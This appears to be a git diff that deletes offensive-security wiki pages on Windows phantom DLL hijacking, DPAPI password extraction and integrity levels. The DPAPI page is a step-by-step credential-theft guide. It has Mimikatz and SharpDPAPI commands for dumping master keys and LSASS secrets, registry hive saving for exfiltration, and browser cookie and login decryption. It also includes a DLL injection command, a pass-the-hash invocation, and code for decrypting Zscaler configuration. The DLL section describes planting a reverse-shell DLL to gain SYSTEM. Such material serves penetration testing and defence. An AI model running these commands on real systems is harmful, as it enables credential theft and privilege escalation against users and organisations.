-- Add these **filters** and you will find all the Dlls that some **proccess tried to load** from the writable System Path folder:
-
-<figure><img src="../../../images/image (945).png" alt=""><figcaption></figcaption></figure>
-
-> [!TIP]
-> **Boot logging is only required for services that start too early** to observe otherwise. If you can **trigger the target service/program on demand** (for example, by interacting with its COM interface, restarting the service, or relaunching a scheduled task), it is usually faster to keep a normal Procmon capture with filters such as **`Path contains .dll`**, **`Result is NAME NOT FOUND`**, and **`Path begins with <writable_machine_path>`**.
-
-### Missed Dlls
-
-Running this in a free **virtual (vmware) Windows 11 machine** I got these results:
-
-<figure><img src="../../../images/image (607).png" alt=""><figcaption></figcaption></figure>
-
-In this case the .exe are useless so ignore them, the missed DLLs where from:
-
-| Service                         | Dll                | CMD line                                                             |
-| ------------------------------- | ------------------ | -------------------------------------------------------------------- |
-| Task Scheduler (Schedule)       | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule`          |
-| Diagnostic Policy Service (DPS) | Unknown.DLL        | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
-| ???                             | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`                |
-
-After finding this, I found this interesting blog post that also explains how to [**abuse WptsExtensions.dll for privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Which is what we **are going to do now**.
-
-### Other candidates worth triaging
-
-`WptsExtensions.dll` is a good example, but it is not the only recurring **phantom DLL** that shows up in privileged services. Modern hunting rules and public hijack catalogs still track names such as:
-
-| Service / Scenario | Missing DLL | Notes |
-| --- | --- | --- |
-| Task Scheduler (`Schedule`) | `WptsExtensions.dll` | Classic **SYSTEM** candidate on client systems. Good when the writable directory is in the **Machine PATH** and the service probes the DLL during startup. |
-| NetMan on Windows Server | `wlanhlp.dll` / `wlanapi.dll` | Interesting on **server editions** because the service runs as **SYSTEM** and can be **triggered on demand by a normal user** in some builds, making it better than reboot-only cases. |
-| Connected Devices Platform Service (`CDPSvc`) | `cdpsgshims.dll` | Usually yields **`NT AUTHORITY\LOCAL SERVICE`** first. That is often still enough because the token has **`SeImpersonatePrivilege`**, so you can chain it with [RoguePotato / PrintSpoofer](../roguepotato-and-printspoofer.md). |
-
-Treat these names as **triage hints**, not guaranteed wins: they are **SKU/build dependent**, and Microsoft may change the behavior between releases. The important takeaway is to look for **missing DLLs in privileged services that traverse the Machine PATH**, especially if the service can be **re-triggered without rebooting**.
-
-### Exploitation
-
-So, to **escalate privileges** we are going to hijack the library **WptsExtensions.dll**. Having the **path** and the **name** we just need to **generate the malicious dll**.
-
-You can [**try to use any of these examples**](#creating-and-compiling-dlls). You could run payloads such as: get a rev shell, add a user, execute a beacon...
-
-> [!WARNING]
-> Note that **not all the service are run** with **`NT AUTHORITY\SYSTEM`** some are also run with **`NT AUTHORITY\LOCAL SERVICE`** which has **less privileges** and you **won't be able to create a new user** abuse its permissions.\
-> However, that user has the **`seImpersonate`** privilege, so you can use the[ **potato suite to escalate privileges**](../roguepotato-and-printspoofer.md). So, in this case a rev shell is a better option that trying to create a user.
-
-At the moment of writing the **Task Scheduler** service is run with **Nt AUTHORITY\SYSTEM**.
-
-Having **generated the malicious Dll** (_in my case I used x64 rev shell and I got a shell back but defender killed it because it was from msfvenom_), save it in the writable System Path with the name **WptsExtensions.dll** and **restart** the computer (or restart the service or do whatever it takes to rerun the affected service/program).
-
-When the service is re-started, the **dll should be loaded and executed** (you can **reuse** the **procmon** trick to check if the **library was loaded as expected**).
-
-## References
-
-- [Windows DLL Hijacking (Hopefully) Clarified](https://itm4n.github.io/windows-dll-hijacking-clarified/)
-- [Suspicious DLL Loaded for Persistence or Privilege Escalation](https://www.elastic.co/guide/en/security/current/suspicious-dll-loaded-for-persistence-or-privilege-escalation.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
deleted file mode 100644
index 0edf45b8400..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
+++ /dev/null
@@ -1,500 +0,0 @@
-# DPAPI - Extracting Passwords
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-## What is DPAPI
-
-The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.
-
-The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it.
-
-Moreover, these functions accepts also an **`entropy` parameter** which will also be used during encryption and decryption, therefore, in order to decrypt something encrypted using this parameter, you must provide the same entropy value that was used during encryption.
-
-### Users key generation
-
-The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
-
-This is specially interesting because if an attacker can obtain the user's password hash, they can:
-
-- **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API
-- Try to **crack the password** offline trying to generate the valid DPAPI key
-
-Moreover, every time some data is encrypted by a user using DPAPI, a new **master key** is generated. This master key is the one actually used to encrypt data. Each master key is given with a **GUID** (Globally Unique Identifier) that identifies it.
-
-The master keys are stored in the **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, where `{SID}` is the Security Identifier of that user. The master key is stored encrypted by the user's **`pre-key`** and also by a **domain backup key** for recovery (so the same key is stored encrypted 2 times by 2 different pass).
-
-Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.
-
-The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers.
-
-> [!TIP]
-> DPAPI encrypted blobs starts with **`01 00 00 00`**
-
-Find master keys:
-
-```bash
-Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
-Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
-Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
-Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
-Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
-Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
-```
-
-This is what a bunch of Master Keys of a user will looks like:
-
-![What is DPAPI - Users key generation: This is what a bunch of Master Keys of a user will looks like](<../../images/image (1121).png>)
-
-### Machine/System key generation
-
-This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
-
-Note that these keys **don't have a domain backup** so they are only accesisble locally:
-
-- **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets`
-- The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
-- Offline extraction from registry hives is also possible. For example, as an administrator on the target, save the hives and exfiltrate them:
-
-```cmd
-reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
-reg save HKLM\SECURITY C:\Windows\Temp\security.hiv
-```
-
-Then on your analysis box, recover the DPAPI_SYSTEM LSA secret from the hives and use it to decrypt machine-scope blobs (scheduled task passwords, service credentials, Wi‑Fi profiles, etc.):
-
-```text
-mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
-# Look for the DPAPI_SYSTEM secret in the output
-```
-
-### Protected Data by DPAPI
-
-Among the personal data protected by DPAPI are:
-
-- Windows creds
-- Internet Explorer and Google Chrome's passwords and auto-completion data
-- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
-- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
-- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
-- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
-- Encrypted blobs inside the register
-- ...
-
-System protected data includes:
-- Wifi passwords
-- Scheduled task passwords
-- ...
-
-### Master key extraction options
-
-- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
-
-```bash
-# Mimikatz
-lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
-
-# SharpDPAPI
-SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
-```
-
-- With local admin privileges, it's possible to **access the LSASS memory** to extract the DPAPI master keys of all the connected users and the SYSTEM key.
-
-```bash
-# Mimikatz
-mimikatz sekurlsa::dpapi
-```
-
-- If the user has local admin privileges, they can access the **DPAPI_SYSTEM LSA secret** to decrypt the machine master keys:
-
-```bash
-# Mimikatz
-lsadump::secrets /system:DPAPI_SYSTEM /export
-```
-
-- If the password or hash NTLM of the user is known, you can **decrypt the master keys of the user directly**:
-
-```bash
-# Mimikatz
-dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
-
-# SharpDPAPI
-SharpDPAPI.exe masterkeys /password:PASSWORD
-```
-
-- If you are inside a session as the user, it's possible to ask the DC for the **backup key to decrypt the master keys using RPC**. If you are local admin and the user is logged in, you could **steal his session token** for this:
-
-```bash
-# Mimikatz
-dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
-
-# SharpDPAPI
-SharpDPAPI.exe masterkeys /rpc
-```
-
-
-## List Vault
-
-```bash
-# From cmd
-vaultcmd /listcreds:"Windows Credentials" /all
-
-# From mimikatz
-mimikatz vault::list
-```
-
-## Access DPAPI Encrypted Data
-
-### Find DPAPI Encrypted data
-
-Common users **files protected** are in:
-
-- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
-- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
-- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
-- Check also changing `\Roaming\` to `\Local\` in the above paths.
-
-Enumeration examples:
-
-```bash
-dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
-dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
-Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
-Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
-```
-
-[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) can find DPAPI encrypted blobs in the file system, registry and B64 blobs:
-
-```bash
-# Search blobs in the registry
-search /type:registry [/path:HKLM] # Search complete registry by default
-
-# Search blobs in folders
-search /type:folder /path:C:\path\to\folder
-search /type:folder /path:C:\Users\username\AppData\
-
-# Search a blob inside a file
-search /type:file /path:C:\path\to\file
-
-# Search a blob inside B64 encoded data
-search /type:base64 [/base:<base64 string>]
-```
-
-Note that [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (from the same repo) can be used to decrypt using DPAPI sensitive data like cookies.
-
-#### Chromium/Edge/Electron quick recipes (SharpChrome)
-
-- Current user, interactive decryption of saved logins/cookies (works even with Chrome 127+ app-bound cookies because the extra key is resolved from the user’s Credential Manager when running in user context):
-
-```cmd
-SharpChrome logins  /browser:edge  /unprotect
-SharpChrome cookies /browser:chrome /format:csv /unprotect
-```
-
-- Offline analysis when you only have files. First extract the AES state key from the profile’s "Local State" and then use it to decrypt the cookie DB:
-
-```cmd
-# Dump the AES state key from Local State (DPAPI will be used if running as the user)
-SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
-# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
-SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
-```
-
-- Domain-wide/remote triage when you have the DPAPI domain backup key (PVK) and admin on the target host:
-
-```cmd
-SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
-SharpChrome logins  /server:HOST01 /browser:chrome /pvk:key.pvk
-```
-
-- If you have a user’s DPAPI prekey/credkey (from LSASS), you can skip password cracking and directly decrypt profile data:
-
-```cmd
-# For SharpChrome use /prekey; for SharpDPAPI use /credkey
-SharpChrome cookies /browser:edge /prekey:SHA1_HEX
-SharpDPAPI.exe credentials /credkey:SHA1_HEX
-```
-
-Notes
-- Newer Chrome/Edge builds may store certain cookies using "App-Bound" encryption. Offline decryption of those specific cookies is not possible without the additional app-bound key; run SharpChrome under the target user context to retrieve it automatically. See the Chrome security blog post referenced below.
-
-### Access keys and data
-
-- **Use SharpDPAPI** to get credentials from DPAPI encrypted files from the current session:
-
-```bash
-# Decrypt user data
-## Note that 'triage' is like running credentials, vaults, rdg and certificates
-SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
-
-# Decrypt machine data
-SharpDPAPI.exe machinetriage 
-```
-
-- **Get credentials info** like the encrypted data and the guidMasterKey.
-
-```bash
-mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
-
-[...]
-guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
-[...]
-pbData             : b8f619[...snip...]b493fe
-[..]
-```
-
-- **Access masterkeys**:
-
-Decrypt a masterkey of a user requesting the **domain backup key** using RPC:
-```bash
-# Mimikatz
-dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
-
-# SharpDPAPI
-SharpDPAPI.exe masterkeys /rpc
-```
-
-The **SharpDPAPI** tool also supports these arguments for masterkey decryption (note how it's possible to use `/rpc` to get the domains backup key,  `/password` to use a plaintext password, or `/pvk` to specify a DPAPI domain private key file...):
-
-```
-/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
-/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
-/pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
-/password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
-/ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
-/credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
-/rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
-/server:SERVER          -   triage a remote server, assuming admin access
-/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
-```
-
-- **Decrypt data using a masterkey**:
-
-```bash
-# Mimikatz
-dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
-
-# SharpDPAPI
-SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
-```
-
-The **SharpDPAPI** tool also supports these arguments for `credentials|vaults|rdg|keepass|triage|blob|ps` decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, `/pvk` to specify a DPAPI domain private key file, `/unprotect` to use current users session...):
-
-```
-Decryption:
-/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
-/pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
-/pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
-/password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
-/ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
-/credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
-/rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
-GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
-/mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption
-
-Targeting:
-/target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
-/server:SERVER      -   triage a remote server, assuming admin access
-                        Note: must use with /pvk:KEY or /password:X
-                        Note: not applicable to 'blob' or 'ps' commands
-```
-
-- Using a DPAPI prekey/credkey directly (no password needed)
-
-If you can dump LSASS, Mimikatz often exposes a per-logon DPAPI key that can be used to decrypt the user’s masterkeys without knowing the plaintext password. Pass this value directly to the tooling:
-
-```cmd
-# SharpDPAPI accepts the "credkey" (domain or local SHA1)
-SharpDPAPI.exe triage /credkey:SHA1_HEX
-
-# SharpChrome accepts the same value as a "prekey"
-SharpChrome logins /browser:edge /prekey:SHA1_HEX
-```
-
-
-- Decrypt some data using **current user session**:
-
-```bash
-# Mimikatz
-dpapi::blob /in:C:\path\to\encrypted\file /unprotect
-
-# SharpDPAPI
-SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
-```
-
----
-
-### Offline decryption with Impacket dpapi.py
-
-If you have the victim user’s SID and password (or NT hash), you can decrypt DPAPI masterkeys and Credential Manager blobs entirely offline using Impacket’s dpapi.py.
-
-- Identify artefacts on disk:
-  - Credential Manager blob(s): %APPDATA%\Microsoft\Credentials\<hex>
-  - Matching masterkey: %APPDATA%\Microsoft\Protect\<SID>\{GUID}
-
-- If file transfer tooling is flaky, base64 the files on-host and copy the output:
-
-```powershell
-# Base64-encode files for copy/paste exfil
-[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
-[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
-```
-
-- Decrypt the masterkey with the user’s SID and password/hash:
-
-```bash
-# Plaintext password
-python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-  -sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
-
-# Or with NT hash
-python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-  -sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
-```
-
-- Use the decrypted masterkey to decrypt the credential blob:
-
-```bash
-python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
-# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
-# Username=<user> ; Password=<cleartext>
-```
-
-This workflow often recovers domain credentials saved by apps using the Windows Credential Manager, including administrative accounts (e.g., `*_adm`).
-
----
-
-### Handling Optional Entropy ("Third-party entropy")
-
-Some applications pass an additional **entropy** value to `CryptProtectData`. Without this value the blob cannot be decrypted, even if the correct masterkey is known. Obtaining the entropy is therefore essential when targeting credentials protected in this way (e.g. Microsoft Outlook, some VPN clients).
-
-[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is a user-mode DLL that hooks the DPAPI functions inside the target process and transparently records any optional entropy that is supplied. Running EntropyCapture in **DLL-injection** mode against processes like `outlook.exe` or `vpnclient.exe` will output a file mapping each entropy buffer to the calling process and blob. The captured entropy can later be supplied to **SharpDPAPI** (`/entropy:`) or **Mimikatz** (`/entropy:<file>`) in order to decrypt the data. 
-
-```powershell
-# Inject EntropyCapture into the current user's Outlook
-InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
-
-# Later decrypt a credential blob that required entropy
-SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
-```
-
-
-### Cracking masterkeys offline (Hashcat & DPAPISnoop)
-
-Microsoft introduced a **context 3** masterkey format starting with Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) added hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) and **22102** (context 3) allowing GPU-accelerated cracking of user passwords directly from the masterkey file. Attackers can therefore perform word-list or brute-force attacks without interacting with the target system. 
-
-`DPAPISnoop` (2024) automates the process:
-
-```bash
-# Parse a whole Protect folder, generate hashcat format and crack
-DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
-hashcat -m 22102 bob.hc wordlist.txt -O -w4
-```
-
-The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.
-
-
-### Access other machine data
-
-In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Of course you need to be able to access that machine and in the following example it's supposed that the **domain backup encryption key is known**:
-
-```bash
-SharpDPAPI.exe triage /server:HOST /pvk:BASE64
-SharpChrome cookies /server:HOST /pvk:BASE64
-```
-
-## Other tools
-
-### HEKATOMB
-
-[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers IP address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key.
-
-`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
-
-With extracted from LDAP computers list you can find every sub network even if you didn't know them !
-
-### DonPAPI 2.x (2024-05)
-
-[**DonPAPI**](https://github.com/login-securite/DonPAPI) can dump secrets protected by DPAPI automatically. The 2.x release introduced:
-
-* Parallel collection of blobs from hundreds of hosts
-* Parsing of **context 3** masterkeys and automatic Hashcat cracking integration
-* Support for Chrome "App-Bound" encrypted cookies (see next section)
-* A new **`--snapshot`** mode to repeatedly poll endpoints and diff newly-created blobs 
-
-### DPAPISnoop
-
-[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is a C# parser for masterkey/credential/vault files that can output Hashcat/JtR formats and optionally invoke cracking automatically. It fully supports machine and user masterkey formats up to Windows 11 24H1. 
-
-
-## Common detections
-
-- Access to files in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` and other DPAPI-related directories.
-    - Especially from a network share like **C$** or **ADMIN$**.
-- Use of **Mimikatz**, **SharpDPAPI** or similar tooling to access LSASS memory or dump masterkeys.
-- Event **4662**: *An operation was performed on an object* – can be correlated with access to the **`BCKUPKEY`** object.
-- Event **4673/4674** when a process requests *SeTrustedCredManAccessPrivilege* (Credential Manager)
-
----
-### 2023-2025 vulnerabilities & ecosystem changes
-
-* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (November 2023). An attacker with network access could trick a domain member into retrieving a malicious DPAPI backup key, allowing decryption of user masterkeys. Patched in November 2023 cumulative update – administrators should ensure DCs and workstations are fully patched. 
-* **Chrome 127 “App-Bound” cookie encryption** (July 2024) replaced the legacy DPAPI-only protection with an additional key stored under the user’s **Credential Manager**. Offline decryption of cookies now requires both the DPAPI masterkey and the **GCM-wrapped app-bound key**. SharpChrome v2.3 and DonPAPI 2.x are able to recover the extra key when running with user context. 
-
-
-### Case Study: Zscaler Client Connector – Custom Entropy Derived From SID
-
-Zscaler Client Connector stores several configuration files under `C:\ProgramData\Zscaler` (e.g. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`).  Each file is encrypted with **DPAPI (Machine scope)** but the vendor supplies **custom entropy** that is *calculated at runtime* instead of being stored on disk.
-
-The entropy is rebuilt from two elements:
-
-1. A hard-coded secret embedded inside `ZSACredentialProvider.dll`.
-2. The **SID** of the Windows account the configuration belongs to.
-
-The algorithm implemented by the DLL is equivalent to:
-
-```csharp
-byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
-byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);
-
-// XOR the two buffers byte-by-byte
-byte[] tmp = new byte[secret.Length];
-for (int i = 0; i < secret.Length; i++)
-    tmp[i] = (byte)(sid[i] ^ secret[i]);
-
-// Split in half and XOR both halves together to create the final entropy buffer
-byte[] entropy = new byte[tmp.Length / 2];
-for (int i = 0; i < entropy.Length; i++)
-    entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
-```
-
-Because the secret is embedded in a DLL that can be read from disk, **any local attacker with SYSTEM rights can regenerate the entropy for any SID** and decrypt the blobs offline:
-
-```csharp
-byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
-byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
-Console.WriteLine(Encoding.UTF8.GetString(clear));
-```
-
-Decryption yields the complete JSON configuration, including every **device posture check** and its expected value – information that is very valuable when attempting client-side bypasses.
-
-> TIP: the other encrypted artefacts (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) are protected with DPAPI **without** entropy (`16` zero bytes). They can therefore be decrypted directly with `ProtectedData.Unprotect` once SYSTEM privileges are obtained.
-
-## References
-
-- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
-
-- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
-- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
-- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
-- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
-- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
-- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
-- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
-- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
-- [Impacket – dpapi.py](https://github.com/fortra/impacket)
-- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
-- [GhostPack SharpDPAPI/SharpChrome – Usage and options](https://github.com/GhostPack/SharpDPAPI)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
deleted file mode 100644
index 6278e2a1b41..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
+++ /dev/null
@@ -1,102 +0,0 @@
-# Integrity Levels
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Integrity Levels
-
-In Windows Vista and later versions, all protected items come with an **integrity level** tag. This setup mostly assigns a "medium" integrity level to files and registry keys, except for certain folders and files that Internet Explorer 7 can write to at a low integrity level. The default behavior is for processes initiated by standard users to have a medium integrity level, whereas services typically operate at a system integrity level. A high-integrity label safeguards the root directory.
-
-A key rule is that objects can't be modified by processes with a lower integrity level than the object's level. The integrity levels are:
-
-- **Untrusted**: This level is for processes with anonymous logins. Example: Chrome
-- **Low**: Mainly for internet interactions, especially in Internet Explorer's Protected Mode, affecting associated files and processes, and certain folders like the **Temporary Internet Folder**. Low integrity processes face significant restrictions, including no registry write access and limited user profile write access.
-- **Medium**: The default level for most activities, assigned to standard users and objects without specific integrity levels. Even members of the Administrators group operate at this level by default.
-- **High**: Reserved for administrators, allowing them to modify objects at lower integrity levels, including those at the high level itself.
-- **System**: The highest operational level for the Windows kernel and core services, out of reach even for administrators, ensuring protection of vital system functions.
-- **Installer**: A unique level that stands above all others, enabling objects at this level to uninstall any other object.
-
-You can get the integrity level of a process using **Process Explorer** from **Sysinternals**, accessing the **properties** of the process and viewing the "**Security**" tab:
-
-![Integrity Levels - Integrity Levels: You can get the integrity level of a process using Process Explorer from Sysinternals , accessing the properties of the process and viewing the "...](<../../images/image (824).png>)
-
-You can also get your **current integrity level** using `whoami /groups`
-
-![Integrity Levels - Integrity Levels: You can also get your current integrity level using whoami /groups](<../../images/image (325).png>)
-
-### Integrity Levels in File-system
-
-A object inside the file-system may need an **minimum integrity level requirement** and if a process doesn't have this integrity process it won't be able to interact with it.\
-For example, lets **create a regular from a regular user console file and check the permissions**:
-
-```
-echo asd >asd.txt
-icacls asd.txt
-asd.txt BUILTIN\Administrators:(I)(F)
-        DESKTOP-IDJHTKP\user:(I)(F)
-        NT AUTHORITY\SYSTEM:(I)(F)
-        NT AUTHORITY\INTERACTIVE:(I)(M,DC)
-        NT AUTHORITY\SERVICE:(I)(M,DC)
-        NT AUTHORITY\BATCH:(I)(M,DC)
-```
-
-Now, lets assign a minimum integrity level of **High** to the file. This **must be done from a console** running as **administrator** as a **regular console** will be running in Medium Integrity level and **won't be allowed** to assign High Integrity level to an object:
-
-```
-icacls asd.txt /setintegritylevel(oi)(ci) High
-processed file: asd.txt
-Successfully processed 1 files; Failed processing 0 files
-
-C:\Users\Public>icacls asd.txt
-asd.txt BUILTIN\Administrators:(I)(F)
-        DESKTOP-IDJHTKP\user:(I)(F)
-        NT AUTHORITY\SYSTEM:(I)(F)
